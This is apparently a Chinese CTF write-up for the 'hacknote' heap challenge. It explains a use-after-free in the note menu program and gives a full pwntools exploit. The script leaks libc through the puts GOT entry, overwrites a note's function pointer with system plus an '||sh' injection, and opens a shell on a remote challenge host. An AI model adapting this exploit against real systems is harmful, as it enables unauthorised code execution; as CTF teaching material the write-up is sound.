攻防世界 —— hacknote

37 篇文章 0 订阅
37 篇文章 3 订阅

题目分析

在这里插入图片描述

主函数

在这里插入图片描述
在这里插入图片描述
主函数比较简单就是输入1-4,执行相应的功能

Add note功能:

在这里插入图片描述
存在一个notelist表,notelist可放5个元素,每次执行Add时看是否存在空闲空间,存在则申请一个8byte的空间,前4byte字节存放putself函数地址,后4byte再申请一块子空间,大小为size,内容为用户输入,具体如下:
在这里插入图片描述
这里有两点:1. 存在一个函数put_self,并且函数参数为1的,后四个字节指向另一块空间,大小和内容均可以由用户输入

delete_note功能:

在这里插入图片描述
delete_note比较简单,就是free Add函数申请的空间,但存在UAF漏洞

print_note功能:

在这里插入图片描述
非常简单,就是调用notelist表中所指向地址的函数,参数为自身,如图,正常情况就是put_self函数,参数为自身地址(此处为0xfffffff)
在这里插入图片描述

漏洞分析

漏洞主要存在于add_note和delete_note中,假设一个这样的场景:

  1. 先add_note(),并申请一块size=16的空间,内容随意
  2. 再add_note(),并申请一块size=16的空间,内容随意
  3. delete_note(1),delete_note(2),整体结构如图:
    在这里插入图片描述
  4. 再add_note(),并申请一块size=8的空间,内容随意,这时则会发送变化了。首先add_note需要8byte,会使用第二次add_note()被释放的8byte空间,也就是2号,由于第二次申请的还是8byte,则第一次add_note()被释放8byte也就是1号被使用,图示为:
    在这里插入图片描述
    这时候就有意思了,由于删除时只释放内存每释放指针,所以note_list中的1和2仍还指向原地址空间,而3处指向的地址空间为1和2的8字节处的地址,并且由于二级指针处可以写入数据,所以3可以向1指向的8byte字节写入数据

我们的思想就是通过notelist[3]可以直接控制notelist[1]处空间,将notelist[1]的put_self换成system,sub_chunk换成||sh

这个||sh是shell注入,因为按照原来的show的逻辑,是这样的

system(notelist[i])
现在为system( XXXX||sh),先执行system(XXXX),若不行则执行system(sh)

攻击代码

from pwn import *

url, port = "61.147.171.105", 51068
filename = "./hacknote"
elf = ELF(filename)
# context(arch="amd32", os="linux")
context(arch="i386", os="linux")

debug = 0
if debug:
    context.log_level="debug"
    io = process(filename)
    context.terminal = ['tmux', 'splitw', '-h']
    libc = elf.libc
    # gdb.attach(io)
else:
    libc = ELF("./libc_32.so.6")
    io = remote(url, port)

def BK():
    gdb.attach(io) #  "b *" + str(hex(addr))

def Add(size,content):
    io.sendlineafter(b'Your choice :',b'1')
    io.sendlineafter(b'Note size :',str(size))
    io.sendlineafter(b'Content :',content)

def Print(index):
    io.sendlineafter(b'Your choice :',b'3')
    io.sendlineafter(b'Index :',str(index))

def Del(index):
    io.sendlineafter(b'Your choice :',b'2')
    io.sendlineafter(b'Index :',str(index))

def pwn():
    Add(0x20, "zzzz")
    Add(0x20, "zzzz")
    Del(0)
    Del(1)

    puts_func_addr = 0x804862B
    puts_got = elf.got['puts']
    payload = p32(puts_func_addr) + p32(puts_got)
    Add(0x8, payload)
    Print(0)
    libc_base = u32(io.recv(4)) - libc.sym['puts']

    Del(2)
    system_addr = libc_base + libc.sym["system"]
    payload = p32(system_addr) + b"||sh"
    Add(0x8, payload)
    Print(0)
    io.interactive()

if __name__ == '__main__':
    pwn()

  • 5
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值